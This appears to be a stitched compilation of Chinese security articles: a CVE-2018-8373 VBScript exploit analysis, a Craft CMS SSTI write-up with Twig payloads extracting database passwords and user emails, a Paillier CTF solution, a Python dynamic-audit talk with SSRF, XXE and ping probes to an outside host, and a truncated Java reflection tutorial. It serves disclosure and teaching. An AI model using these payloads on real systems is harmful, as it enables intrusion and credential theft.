图1. 使用的恶意URL
研究人员该漏洞利用使用了Heuristics（启发）的思想，而且利用样本使用了与CVE-2018-8174漏洞利用相似的混淆技术，也是VBScript引擎远程代码执行漏洞。
图2. CVE-2018-8373（左）与CVE-2018-8174（右）比较
下面是样本漏洞利用使用的运行shellcode的方法：
图3. CVE-2018-8373（左）与CVE-2018-8174（右）运行shellcode方法比较
研究人员怀疑该漏洞利用样本来自于同一个创建者。研究人员分析样本发现使用了`vbscript.dll`的一个新的use-after-free
(UAF)漏洞，该漏洞在最新的VBScript引擎中还未修复。
# 漏洞起源分析
研究原始的漏洞利用是经过混淆的，本文通过POC解释漏洞被利用的过程：
图4. IE漏洞PoC
PoC定义了`MyClass`类，其中有一个叫做`array`的成员变量和2个成员函数，`Class_Initialize` 和`Default
Property Get
P`。`Class_Initialize`是一种不建议使用的方法，现在已经被新的过程所替代。当对象初始化的时候，会被自动唤醒。在PoC中，`Class_Initialize`是重载的，当调用`VBScriptClass::InitializeClass`时，处理的是重载的函数。
默认属性是一个不需要特殊说明就开源访问的类属性。在PoC中，默认的`Default Property
Get`函数会重载`MyClass`的默认属性。当调用被用来访问cls时，也会处理重载的函数。
漏洞的触发流会简化为下面三步：
**1\. 设置cls = New MyClass**
设置会调用重载的函数`Class_Initialize`。在`Class_Initialize`中， `ReDim
array(2)`会调用`vbscript!RedimPreservearray`来创建元素数是3的数组：
图5. 内存中的ReDim array(2)
**2.cls.array(2)**
调用`vbscript!Accessarray`来获取数组元素的地址。在`vbscript!Accessarray`中，首先会检查数组元素的索引是否越界：
图6. 检查`vbscript!Accessarray`中的元素索引
然后计算元素的地址，保存到栈中，并返回下面的值：
图7. 在栈中保存元素地址
**3\. cls.array(2)=cls**
`cls.array(2)=cls`会调用`vbscript!AssignVar`来设置`MyClass`的默认属性值为`cls.array(2)`。获取`MyClass`的默认属性值后，会调用
`Public Default Property Get P`并执行`Public Default Property Get P`中的`ReDim
array(1)`脚本，释放原来的`array.pvData``：
图8.释放原来的`pvData`
array(2)的地址仍然保存在栈中，`Public Default Property Get
P`的返回值会访问释放的内存，并触发`vbscript!AssignVar`中的use-after-free (UAF)漏洞：
图9. `vbscript!AssignVar`中的奔溃
`vbscript!Accessarray`会检查数组元素索引是否越界。在获取类的默认属性值后，会差法脚本回调函数`Default Property
Get`修改数组的长度，然后在`vbscript!AssignVar`中访问时就不需要检查数组的元素了。
# 漏洞利用分析
漏洞的利用过程可以简化为以下三个步骤：
* 利用漏洞来修改二维数组的长度为`0x0FFFFFFF`；
* 实现Read/Write原语；
* 欺骗`CONTEXT`结构，执行shellcode。
下面详细分析以下漏洞的利用：
## 1\. 修改二维数组长度
首先，漏洞会定义两个数组，在下图中标记为`array1`和`array2`。`array1`就是前面PoC中描述的数组，`array2`是一个二维数组，其中每个元素的值都是3。
图10. 定义`array2`
然后使用脚本回调函数`Default Property
Get`释放原来的`array1.pvData`，设置`array2`为新的`array1.pvData`。因为原来`array1.pvData`的大小和`array2.SAFEARRAY`结构是相同的，在内存中是`0x30`字节。一些`array2.SAFEARRAY`结构会服用`array1.pvData`释放的内存。同时，`Default
Property
Get`的返回值`0x0FFFFFFFF`会覆盖`array2.SAFEARRAY`的结构`SAFEARRAYBOUND`，并修改二维数组的长度为`0x0FFFFFFF`。
图11. 定义`Default Property Get`
图12. 修改数组长度的步骤
## 2\. RW原语
然后得到数组`array1 (index_vuln)(0x0FFFFFFE,
2)`，其长度被UAF修改过了。通过索索`array1`的元素，可以在下面的脚本中找到`index_vuln`：
图13. 搜索`array1 (index_vuln)(0x0FFFFFFE, 2)`
然后使用`array1(index_vuln)(0x0FFFFFFE, 2)`实现out-of-bounds (OOB)，并找出2个用于类型混淆的数组元素。
图14、15. 搜索两个数组的元素
然后漏洞就得到了两个数组元素：`array1(index_B)(0, 0)`和`array1(index_vuln)(index_A,
0)`，在内存中的距离为8字节。在内存中搜索的完全利用如下：
图16. 在内存中搜索的方法说明
最后，使用2个数组元素来实现`read and write`原语：
图17. RW原语的实现
## 3\. 运行shellcode
使用原语来泄露模块的地址：
图18. 泄露模块的地址
通过修改一些变种的`VarType`为`0x4d`，并把值修改为`0`，可以调用`vbscript!VAR::Clear`，然后调用栈会修改返回地址为`NtContinue`的地址和假的`CONTEXT`结构来运行shellcode：
图19. 修改变种
图20. 运行shellcode
基于以上分析，该漏洞很容易就可以利用。而且这是今年发现的第二个VB引擎漏洞利用，因此，研究人员认为很快会有其他的VB引擎漏洞利用出现。
**IoC**
哈希值 (SHA256):
0d6fe137790e2ebdf4fac2dd500656f3a6f74c0d1598251929ea3558f965675f – detected as
HTML_EXPLOIT.YYRV | 社区文章 |
本文翻译自：<https://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/>
在最近的Web应用程序测试期间，我决定对CMS的URI中的某些路径进行一些模糊测试(fuzzing)，并且碰巧在CMS的一个插件中找到了潜在的服务器端模板注入（SSTI）漏洞，然后我就能够成功利用它来获得非公开的信息。在这篇文章中，我想分享一下我如何通过分析思考一步步找到漏洞的。
## 介绍
这是我在最初的Fuzzing中偶然发现的SSTI。你可以看到我能够触发某种数学逻辑，它由服务器上的模板引擎处理，然后反映在canonicalURL中，它是响应中Link头的一部分：
**首先** ：什么是SSTI？服务端模板注入，Server Side Template
Injection简称SSTI。SSTI指的是用户输入的不安全内容嵌入到了模板中。大多数情况下，造成问题的原因时用户的自定义输入直接连接到模板中，并且此输入（本应是数据）包含了模板表达式，进而被服务器执行。
如果你不熟悉此类漏洞，请务必访问Portswigger博客并阅读James
Kettle撰写的[这篇文章](https://portswigger.net/blog/server-side-template-injection)（@albinowax）。你不会后悔，它是web应用安全话题的超级补充。他也提供了[适合打印的pdf版本](https://portswigger.net/kb/papers/serversidetemplateinjection.pdf)，并在BlackHat
2015（[PDF](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)/[视频](https://youtu.be/3cT0uE7Y87s)）上发表。我已经了解了这个漏洞背后的基本概念，但对我而言，这是我第一次真正在实际研究中遇到它，所以我决定更新我的知识储备并阅读詹姆斯关于这个主题的论文。
在加深了对这种漏洞的理解之后，我急于找到正确的攻击方法，我的第一种方法是通过利用[名为TPLMAP的自动化exp工具](https://github.com/epinna/tplmap)试图一步到位。
（不）幸运的是，无脑的自动化武器并不成功，我被迫彻底地研究这个让我后来真正学到一些新东西的题目：
> TPLMAP不顶事
## 从零开始
好吧，脚本小子一头撞上了南墙。让我带你开始探索问题的旅程。首先：我们退回原点，通过尽可能地拆解已知的事实信息来评估情况。
我们确信我们可以注入任意内容并交由模板引擎处理。并根据header中给出的响应，我们可以推出该网站在Craft
CMS上运行（<https://craftcms.com）：>
> Header Responses
不幸的是它没有泄漏确切的版本号，但对于初学者我们可以简单地尝试利用最新的文档，并根据此文档Craft使用的是Twig（这是James研究中涵盖的PHP模板引擎之一）。
那么让我们全面了解一下文档。这实际上将帮助我们实现我们的野心，并加深我们对CMS和模板引擎如何相互作用的理解。此外，它对于理解两个组件的体系结构和实际对象，方法和语法非常有用：
<https://docs.craftcms.com/v2/>
<https://docs.craftcms.com/v3/>
<https://twig.symfony.com/doc/2.x/>
此外，始终建议检查目标的旧/已知/现有漏洞。如果有，请审查代码以了解在连续发布的版本中是如何更改和修复这些漏洞的。上面的任何一点都可能引发一些想法。就我而言，我审查了一些已知问题。例如：
[Craft CMS受服务器端模板注入的影响](https://www.securify.nl/advisory/SFY20160608/craft-cms-affected-by-server-side-template-injection.html)
[Craftcms Craft Cms：安全漏洞列表 -CVE详细信息](https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&cad=rja&uact=8&ved=2ahUKEwiBncjps7jcAhVII1AKHRLzBRIQFjAAegQIABAB&url=https://www.cvedetails.com/vulnerability-list/vendor_id-16372/product_id-37245/Craftcms-Craft-Cms.html&usg=AOvVaw0XetfgPk557bLY1o7TKuDp)
[Twig <2.4.4 - 服务器端模板注入](https://www.exploit-db.com/exploits/44102/)
如上所述，了解旧漏洞始终是一个丰富自己技巧的好方法。即使问题已经解决，上面列出的以前存在的SSTI漏洞就是一个很好的样例作为参照，你可以通过阅读他们如何为这个漏洞创建PoC来找到一些有趣的想法。
最后一招，如果可以这么做的话：下载源代码，看看内幕！
如果你尝试利用自动利用和侦察工具（TPLMAP），请务必了解他们的能力范围和工作原理。
有趣的一点事实：在Craft CMS中使用Twig也解释了为什么我最初用TPLMAP的尝试没有收获任何战果，因为该工具不支持Twig：
> TPLMAP支持情况一览表
根据我们的信息汇总，可以发现下面的重要线索，根据James的研究，Twig的_self对象及其env属性是突破口，能搞出来远程执行代码（RCE）：
{{_self.env.registerUndefinedFilterCallback("exec")}}
{{_self.env.getFilter("id")}}
uid=1000(k)gid=1000(k)groups=1000(k),10(wheel)
我们尝试通过注入点调用它。但是，在我的测试中, 我发现 _self 不是一个对象, 而是一个返回模板名称的字符串:
> _self 为字符串, 而不是引用对象
查阅了文档和其他声明, 结果是他们从Twig v1 更新到Twig v2 的时候把这里给改了。也就是说, 我们正在对付一个你没有见过的船新版本的Twig,
不容易在它上面利用詹姆斯挖出来的那个漏洞。目前似乎也没有已公开的漏洞exp可以对付Twig v2 (也解释了为什么
TPLMAP不支持Twig的Exp)。好吧, 我们到了山前才发现没路了。
但还是有希望的。
## 发散思维，峰回路转
尽管目前还没人发表关于Twig v2 模板引擎的exp, 但我们仍然可以通过发现的注入点与 CMS 的组件进行交互。根据Craft CMS 文档,
有很多有趣的对象, 过滤器和方法可以从模板调用。而且似乎我们可以从Craft CMS 本身调用对象和方法。根据文档, 我们应该能够找到可编辑的部分:
> 文档中的示例方法
所以, 让我们尝试一下..。
> 读取可编辑的片段
哎！我们搞到了一个数组返回值, 就是说我们注入的玩意儿起效了。继续，我们要找到更多的宝贝。仔细阅读文档后会挖掘出一种, 看起来能出货的特定的方法,
因为它允许我们从配置文件中读取信息 (以前的Craft CMS漏洞利用那些人也是用的这个):
{{craft.config.get('someConfigSetting','someConfigFile')}}
让我们来看看配置文件, 并挑选出一些好东西:
> 来自 db. php 的内容
好多好多我们可以尝试去访问的宝~贝~, 但这次我们需要传递一些参数给 craft.config.get () 方法。让我们尝试在 db. php
文件中传入password:
> 编码后的控制字符
不幸的是, 框架附带了一些保护功能,通过将控制字符替换为相应的 HTML编码来进行防御。当陷入这样的问题时, 通常选择绕过过滤是一种很好的方式。例如,
有时你通过编辑外来字符转义序列或使用奇异编码方案可能就幸运地绕过了过滤器。我花了一些时间分析过滤器的行为, 得出的结论是, 它有相当强的鲁棒性,
所以需要改变战略。当我掉头回去阅读Craft文档时, 我开始去调戏所有可用的功能。craft.request看起来很有趣, 在我阅读它所支持的方法时,
我终于偶然发现了这个珍贵的宝石:
> 获取UserAgent
快速测试表明, 此函数确实会反射客户端的User-Agent header。正如你可以看到的，输出的又双叒是过滤后的HTML编码:
> craft.request.getUserAgent ()
为了将返回值传递给另一个方法, 我们现在需要使用[Twig的
set调用](https://twig.symfony.com/doc/2.x/tags/set.html) , 并将结果存储在一个新变量中:
> 在Twig中使用变量
这使我们能够以更灵活的方式存储和反射函数。由于我们需要在User-Agent字符串中存储两个参数值, 所以我们需要使用第二种方法作为跳板,
或者我们可以使用Twig的过滤器来执行一些字符串操作。
在这种情况下,
我使用[slice()](https://twig.symfony.com/doc/2.x/filters/slice.html)把User-Agent
header和多个值合并到一起。
## 拼图完整了
到目前为止, 我们已经在一定范围内了解了一些关于 CMS 和模板引擎的内容。根据我们的知识,
我们现在可以通过调用方法在传递任意变量值时尝试访问目标上的敏感信息。语法应该类似于以下内容:
{% set dummy = craft.request.getUserAgent()|slice(0,8)%}
{% set dummy2 = craft.request.getUserAgent()|slice(9,2)%}
{{craft.config.get(dummy,dummy2)}}
User-Agent: password db
让我们尝试一下, 从目标的配置文件中提取数据库密码:
> 提取 DB 密码
在目前的情况下, 我们能做的就多了。例如, 我们可以遍历所有 CMS 用户, 记下他们的电子邮件地址, 告诉他们他们的网站需要安全修复:
{% forauthor incraft.users %}
{{author.email}}
{% endfor %}
以下是一些我认为有意思的例子:
> 提取战利品
## 结论
事实证明, 这个问题是由一个叫做 SEOmatic 的 CMS 插件引起的,
你可以在[这里](https://straightupcraft.com/craft-plugins/seomatic)了解更多的信息，还有[这里](https://github.com/nystudio107/craft-seomatic)
据开发人员所说，攻击只适用于在Craft CMS 中没有对应条目的url。原因是 canonicalUrl 字段的默认设置是Twig代码:
{{craft.app.request.pathInfo | striptags}}
SEOmatic 的工作方式是, 只有与其他情况都不匹配后, 才使用全局设置。大多数页面都会匹配某种其他类型的条目、类别或产品, 在这些情况下,
canonicalUrl 不会被设置为可以包含攻击行为的Twig代码, 因此攻击不会奏效。
因此, 需要满足以下两个条件才能成为攻击URL。首先，有使用Twig模板 (所以它不会抛出 404), 然后也没有一个条目, 类别, 或产品与之关联。
我很高兴地确认, 开发人员在问题得到报告后就解决了问题。你可以在这里找到修复后的版本:
<https://github.com/nystudio107/craft-seomatic/releases/tag/3.1.4>
这里是修复这个问题的提交: <https://github.com/nystudio107/craft-seomatic/commit/1e7d1d084ac3a89e7ec70620f2749110508d1ce1>
## 影响评估:
既然我们生活在一个美丽的信息时代， 现在是时候确定有少公开在互联网上的Craft CMS 实例可能受到此漏洞的影响。让我们从
[Shodan.io](https://www.shodan.io/) 获得并提取一些数据(注: 有些人问我怎么一开始就找到他们的网站，就是靠这个)
> 从Shodan收集数据
为了能够进一步处理信息， 我将把它分成多个文件，按端口号分组:
> 按端口号对数据进行分组
不便的是，我们只能通过Shodan API
查询字符串。就是在Shodan收集的海量信息的数据块里面搜索某个字符串。因此，我需要筛选条目。符合的条目是通过链接头部表明目标是脆弱的，可被此方法攻击的。
> 清洗数据
最后我们从269条中筛选出了244条。到了最后一步: 让我们爬一下剩下来的目标，看看结果是什么:
> 易受攻击的主机
总之，我确定了65个可能会更糟的脆弱站点。然后，
我简单地dump了大概300个管理帐户的电子邮件地址，让他们知道这个问题。很多人很快回复了我，确认了漏洞并已经正确地更新了版本。由于开发者也[在Twitter上声明了问题](https://twitter.com/nystudio107/status/1021847835418009605)，
大多数人应该很快就会升级到修复后版本。
## 最后亿句话:
利用现有的扫描和开发工具总是很容易的。但是，一旦你撞到墙上了。多投入一些时间分析问题，磨刀不误砍柴工。确保识别和处理全面的信息，以便更好地了解你的目标。花费的时间最终会赚回来的。至少你也会学到一些新的东西。
时间表：
* 2018-07-19: 发现漏洞
* 2018-07-23: 通知供应商
* 2018-07-24: 版本3.1.4 发布， 问题已解决
* 2018-07-29: 分配编号CVE-2018-14716
* 2018-07-30: 公开披露
* 2018-07-31: 将 PoC 添加到Exploit-DB中 | 社区文章 |
# 密码学学习笔记 之 paillier cryptosystem
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## Preface
现代公钥密码系统中，其实远远不止RSA、DSA、ECC等众所周知的公钥密码系统，最近还学习到了一种比较年轻的公钥密码系统 —— **paillier
cryptosystem** 但是wiki上并没有给出该方案的解密的proof。
## Introduce
Paillier密码，于1999年由Pascal Paillier发明，是一种用于公钥加密的概率非对称算法。该算法具有加法同态的性质 ;
这意味着，仅给出公钥和m1、m2加密，可以计算出m1 + m2
## Key generation
### The frist pattern：
1. 随机选择两个大质数p、q满足gcd(pq, (p-1)*(q-1))。
2. 计算n=p*q，λ = lcm(p-1, q-1) = (p-1)*(q-1) / gcd(p-1,q-1)
3. 选择随机整数g，0<g<n^2
4. 定义L(x) = (x-1) / n
5. 计算μ = (L(g^λ mod n^2 ))^(-1) mod n
6. 公钥为(n，g)
7. 私钥为(λ，μ)
### The second pattern（a simpler variant）：
其余参数不变，主要改变了g，λ，μ的定义
1. g = n+1
2. λ = φ(n) = (p-1)*(q-1)
3. μ = φ(n)^(-1) (mod n)
## Encryption
1. 设m为要加密的消息，显然需要满足，0 ≤ m ＜ n
2. 选择随机 r，保证gcd(r, n) = 1
3. 密文c：c = (g^m) *(r^n) mod n^2
## Decryption
1. m = ( L( c^λ mod n^2 ) * μ ) mod n
### Proof
以下推理过程就用数学公式记录了，如果平台显示不出来的话，建议复制进typora等此类编辑器中食用，下面也会给出截图
#### The first pattern
由 $L(c^λ pmod{n^2}*μ) pmod{n}$
有 $L(g^{mλ} _r^{nλ} pmod{n^2})_ μ pmod{n}$ ①
其中$λ = frac{(p-1) _(q-1)}{gcd((p-1)_ (q-1))}, μ = L(g^λ pmod{n^2})^{-1}
pmod{n}$
所以①式=> $L(g^{mλ} _r^{nλ} pmod{n^2})_ L(g^λ pmod{n^2})^{-1} pmod{n}$ ②
∵$(p-1)|λ, (q-1)|λ$
∴$λ = k_1(p-1) = k_2(q-1)$
∴$g^λ = g^{k_1(p-1)}equiv 1 pmod{p}，即 (g^λ -1) | p$
$ g^λ = g^{k_2(q-1)}equiv 1 pmod{q}， 即 (g^λ -1) | q$
∴$ (g^λ -1) | lcm(p,q) ，即 (g^λ -1) | pq，即g^λ equiv 1 pmod{n} $
∴$g^λ pmod{n^2} equiv 1pmod{n}$
∴$g^λpmod{n^2} = k_gn+1; k<n$
∴$L(g^λpmod{n^2}) = k_g$
且有
1. $1+kn equiv 1+kn pmod{m^2}$
2. $(1+kn)^2 equiv 1+2kn+(kn)^2 equiv 1+2kn pmod{m^2}$
3. $(1+kn)^3 equiv 1+3(kn)^2+3kn+(kn)^3 equiv 1+3kn pmod{m^2}$这里我们就不用数学分析法了，就直接易得了=> $(1+kn)^{m} equiv knm+1 pmod{n^2}$
∴$g^{mλ} = (1+k_gn)^{m} equiv k_gnm+1 pmod{n^2}$
∴$r^{nλ} = (1+k_nn)^{n} equiv k_nn^2+1 equiv 1pmod{n^2}$
∴$L(g^{mλ}*r^{nλ}pmod{n^2}) = L(k_gnm+1)=mk_g$
又∴$L(g^λpmod{n^2}) = k_g$
∴②式： $L(g^{mλ} _r^{nλ} pmod{n^2})_ L(g^λ pmod{n^2})^{-1} pmod{n}$ =>
$mk_g*k_g^{-1} equiv m pmod n$
证毕
截图：
#### The second pattern
由 $L(c^λ pmod{n^2}*μ) pmod{n}$
有 $L(g^{mλ} _r^{nλ} pmod{n^2}_ μ) pmod{n}$ ①
其中$λ = (p-1)*(q-1)， μ = φ(n)^{-1} pmod{n}$
∵$r^{nλ} = r^{n(p-1)*(q-1)} = r^{φ(n^2)}$
由欧拉定理：$r^{φ(n^2)} equiv 1 pmod{n^2}$
①式 => $L(g^{mλ} pmod{n^2}*μ) pmod{n}$ ②
∵$g = n+1$
∴$g^{mλ} = (1+n)^{mλ} equiv nmλ+1 pmod{n^2}$
②式=> $L((nmλ+1)*μ) pmod{n}$
=> $ frac{(nmλ+1)-1}{n}*μ pmod{n}$
=>$(mλ*μ) pmod{n}$ ③
∵$λ = φ(n)，μ = φ(n)^{-1} pmod{n}$
∴③式： $(mλ*μ) equiv mpmod{n}$
证毕
截图：
## DASCTF四月月赛 not RSA
from Crypto.Util.number import getPrime as bytes_to_long
from secret import flag,p,q
from sympy import isprime,nextprime
import random
m=bytes_to_long(flag)
n=p*q
g=n+1
r=random.randint(1,n)
c=(pow(g,m,n*n)*pow(r,n,n*n))%(n*n)
print "c=%d"%(c)
print "n=%d"%(n)
可以看到，这一题就是用的paillier cryptosystem，且参数用的是上文中的The second pattern
但是我们计算λ = φ(n) = (p-1)*(q-1) ，需要用到p和q
这里我们直接上yafu分解n发现可以成功分解，原因是p与q其实非常接近，所以其实直接对n开根然后再在附近寻找素数就能找到p、q了。
所以构造解密脚本
# -*- coding: utf-8 -*- from Crypto.Util.number import long_to_bytes,inverse
from sympy import nextprime
from gmpy2 import iroot
def L(x,n):
return (x-1)/n
c=
n=
#factor(n)
a = iroot(n,2)[0]
p = nextprime(a)
q = n//p
assert p*q == n
#根据解密公式，计算所需私钥对（λ，μ）
Lambda=(p-1)*(q-1)
miu=inverse(Lambda,n*n)
m=(L(pow(c,Lambda,n**2),n)*miu)%n
print long_to_bytes(m)
## Homomorphic properties
### Homomorphic addition of plaintexts
设D为解密函数，E为加密函数
即：D(E(m1, r1)*E(m2,r2) mod n^2）≡ m1+m2 (mod n)
#### proof
C = (g^m1) * (r1^n) * (g^m2) *(r2^n) mod n^2
= g^(m1+m2)*(r1r2)^n mod n^2
首先我们可以将m1+m2看作一个整体M，然后由于r1、r2是随机选的，所以r1*r2可以看作一个整体R，
故C = g^M * R^n mod n^2
由于gcd(r1,n) = 1; gcd(r2,n) = 1； => gcd(r1*r2, n) = 1，故R符合要求
所以D(C) = M ≡ m1 + m2 (mod n)
### Homomorphic multiplication of plaintexts
设D为解密函数，E为加密函数
即：D(E(m1, r1)^k mod n^2）≡ km1 (mod n)
#### proof
C = (g^m1) * (r1^n)^k (mod n^2 )
=(g^km1)*(r1^(kn) ) (mod n^2)
首先我们可以将km1看作一个整体M，然后由于r1是随机选的，所以r1^k可以看作一个整体R，
故C = g^M * R^n mod n^2
由于gcd(r1,n) = 1 => gcd(r1^k, n) = 1，故R符合要求
所以D(C) = M ≡ km1 (mod n)
## Reference
<https://en.wikipedia.org/wiki/Paillier_cryptosystem> | 社区文章 |
# KCon 议题解读 | Python动态代码审计
##### 译文声明
本文是翻译文章，文章原作者 niexinming，文章来源：先知论坛
原文地址：<https://xz.aliyun.com/t/2669>
译文仅供参考，具体内容表达以及含义原文为准。
## 动态代码审计的用处
1. 大型项目代码结构复杂
2. 有些危险的功能隐藏较深（危险的定时计划任务、sqlite数据库任意创建导致任意文件覆盖……）
3. 提高效率，希望通过一些黑盒的方法比较快速的找到漏洞。
## 常见漏洞分类
1. 数据库操作
2. 敏感函数的调用和传参
3. 文件读写操作
4. 网络访问操作
## 正文目录
1. 数据库general log 日志
2. hook关键函数
3. 结合auditd
4. http盲攻击
5. fuzzing
## 数据库日志
general-log是记录所有的操作日志,不过他会耗费数据库5%-10%的性能,所以一般没什么特别需要,大多数情况是不开的,例如一些sql审计和代码审计等,那就是打开来使用了
Mysql通过命令行的方式打开general log:
set global general_log_file='';
set global general_log=on;
Postgresql 通过编辑配置文件打开general log:
编辑：postgresql.conf
log_directory = 'pg_log'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_statement = 'all'
打开之后用burp向web api发送一些包含sql注入的畸形数据
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113346-80a40c60-ac05-1.png)
利用Linux的grep指令过滤出sql执行中的ERROR关键字，就可以很快的找到sql注入漏洞
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-80d6b8ea-ac05-1.png)
## Hook关键函数
根据[基于python的自动化代码审计](https://www.secpulse.com/archives/68344.html)和[pyekaboo](https://github.com/SafeBreach-Labs/pyekaboo/)这两个文章的启发而来
Python对象可以被轻易的改变，通过设置PYTHONPATH这个环境变量，使python在加载string这个模块的时候优先加载我自定义的string模块，下图演示的是劫持string模块的upper函数
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-80e75e98-ac05-1.png)
之后我的思路是，通过劫持python的函数，把输入到危险函数的参数输出到日志中，最后调用正常的python函数
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-80fefaf8-ac05-1.png)
这样就可以劫持我们认为敏感的函数
劫持模块的demo：
import imp
import sys
class _InstallFcnHook(object):
def __init__(self,fcn):
self._fcn=fcn
def _pre_hook(self,*args,**kwargs):
print "hook:"+str(args)
return (args,kwargs)
def __call__(self,*args,**kwargs):
(_hook_args,_hook_kwargs)=self._pre_hook(*args,**kwargs)
retval=self._fcn(*_hook_args,**_hook_kwargs)
return retval
fd,pathname,desc=imp.find_module(__name__,sys.path[::-1])
mod =imp.load_module(__name__,fd,pathname,desc)
system=_InstallFcnHook(system)
劫持效果：
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-810b8192-ac05-1.png)
这就意味着我们可以劫持危险的函数，把参数输出到日志里面，通过日志信息，可以判断这些参数是否可以被输入控制。通过这种方式可以方便找到ssti、pickle反序列化漏洞和命令执行漏洞等其他的漏洞
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-81409760-ac05-1.png)
而且这些可以很方面的拓展到其他的模块中
1. cd hook/ #进入到hook模块所在目录
2. cp os.py xxx.py #把os模块复制一份，xxx模块是你想hook的模块
3. 编辑xxx.py ：注释掉原来被hook的函数，添加想要hook的函数，下面的示例是hook了subprocess模块中check_call函数
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113347-81538c8a-ac05-1.png)
Ps:需要填一些坑：
1. 修改启动代码从shell中启动python web
因为有一些python web是从wsgi中启动的，这些只要简单修改启动代码就可以从WSGI方式启动切换到shell启动
2. 从内存中删掉已加载的模块
一些模块通过import动态导入，需要在动态导入后通过del modules删掉被装载的模块
3. 关闭调试选项
例如在flask启动时将debug选项设置为false，否则会产生两个python进程
4. 其他问题
Python web性能下降、代码不兼容、有些模块无法被hook，其中python的内置函数open就无法通过这样的方式被hook。
## 结合Auditd
网上有很多方法去获取python
web的文件读写操作，其中有一种是在文件读写函数前面添加装饰器，但是我觉得那种方法太过于烦琐，且不能覆盖到所有的文件读写操作，那怎么不通过修改原始代码去获取文件读写操作？
可以利用Auditd：
auditd（或 auditd 守护进程）是Linux审计系统中用户空间的一个组件，其可以记录Linux中文件，进程等操作,且安装方便
CentOS 默认安装
Ubuntu 安装：apt-get install auditd
只要简单的配置就可以监视一些文件操作
sudo auditctl -a exclude,always -F msgtype!=PATH -F msgtype!=SYSCALL #记录文件操作
sudo auditctl -a always,exit -F arch=b64 -S execve -k rule01_exec_command #记录所有的shell指令的执行
sudo auditctl -a always,exit -F pid=$mypid #记录指定进程文件操作
执行 sudo auditctl -l 查看所有的规则
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-8162eb76-ac05-1.png)
只要发送一些包含目录跳转的畸形数据给webapi，如有任意文件读取的漏洞就可以很快的发现。
因为Auditd日志中包含大量其他的日志，通过grep和关键字高亮工具（[https://github.com/paoloantinori/hhighlighter）进行查看日志（grep过滤PATH，高亮name）](https://github.com/paoloantinori/hhighlighter%EF%BC%89%E8%BF%9B%E8%A1%8C%E6%9F%A5%E7%9C%8B%E6%97%A5%E5%BF%97%EF%BC%88grep%E8%BF%87%E6%BB%A4PATH%EF%BC%8C%E9%AB%98%E4%BA%AEname%EF%BC%89)
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-817ffdc4-ac05-1.png)
除了记录文件读取，还能记录文件的其他操作
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-8192d246-ac05-1.png)
这样就可以找到：
1. 任意文件上传
2. 任意文件创建
3. 任意文件读取
4. 任意文件删除
## http盲攻击
怎么解决诸如ssrf等网络操作的问题？
ssrf攻击可以让黑客越过防火墙来探测或者攻击一个大型企业的内网
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-81aff074-ac05-1.png)
那么在动态代码审计过程中就可以通过构造特定的poc，来探测代码中是否有对应的漏洞
可以构造请求dns解析的数据
1.命令执行的常见形式
Ping –c 1 xxx.pw
2.ssrf的常见形式
url=<http://xxx.pw>
3.xxe的常见形式
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe SYSTEM "<http://xxxx.pw/text.txt>" >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>
通过dns日志的记录可以很快找到诸如ssrf、xxe、命令执行等，包括可以找到一些隐藏的比较深的定时计划任务的中漏洞
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-81c2dcfc-ac05-1.png)
## fuzzing
做完上面的一些工作之后，我在想如何提高我的工作效率，毕竟我们部门产品众多，但是代码审计这个工作只有我一个在做。我把正常数据，畸形数据，poc数据，等其他数据全发给web
api，然后在审计数据库日志，危险函数日志，auditd日志，dns日志，web报错日志，希望能从日志中发现潜藏的漏洞
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-81d8c738-ac05-1.png)
利用burp的intruder这个功能就可以实现，测试用例可以使用[wooyun提供的fuzzing数据](https://github.com/xinali/wooyun)
[](https://xzfile.aliyuncs.com/media/upload/picture/20180830113348-81f453cc-ac05-1.png)
Ps:还是有几个自己需要处理的问题
1. 需要根据自己的业务类型制定自己的测试用例
2. 自己要想办法处理产生的大量的日志
3. 其他问题
## 未来要做的事情
1. 自动化部署客户端
2. 开发一个日志处理平台
3. 尽可能的覆盖更多的漏洞类型
4. 丰富测试用例
5. 开源 （ [https://github.com/niexinming/python_hook）](https://github.com/niexinming/python_hook) | 社区文章 |
推荐阅读时间：30min
全文字数：1w
## 前言
真正反序列化漏洞的利用，肯定需要了解java反射原理。因为java反序列化的payload大多与反射机制密切相关。
那么这篇文章就是主要讲述反射机制，算是基础知识。
> 除了反射机制之外，后续还基于commons-> collections链最后的反射机制触发点，进行了详细的反射机制特性的绕过说明。由于它与反射机制密切相关，就放在这边进行统一归纳理解。
> 可以配合本人的另一篇文章commons-collections食用
## java反射机制
在Java中的反射机制是指在运行状态中，对于任意一个类都能够知道这个类所有的属性和方法；并且对于任意一个对象，都能够调用它的任意一个方法；这种动态获取信息以及动态调用对象方法的功能成为Java语言的反射机制。
让java可以在运行时，根据传入的类名字符串，去执行这个类存在的方法等。
> 以下从开发的角度举例了一个反射机制在开发中的作用。简单了解即可。
一个不使用反射机制的例子：
interface fruit{
public abstract void eat();
}
class Apple implements fruit{
public void eat(){
System.out.println("Apple");
}
}
class Orange implements fruit{
public void eat(){
System.out.println("Orange");
}
}
// 构造工厂类
// 也就是说以后如果我们在添加其他的实例的时候只需要修改工厂类就行了
class Factory{
public static fruit getInstance(String fruitName){
fruit f=null;
if("Apple".equals(fruitName)){
f=new Apple();
}
if("Orange".equals(fruitName)){
f=new Orange();
}
return f;
}
}
class hello{
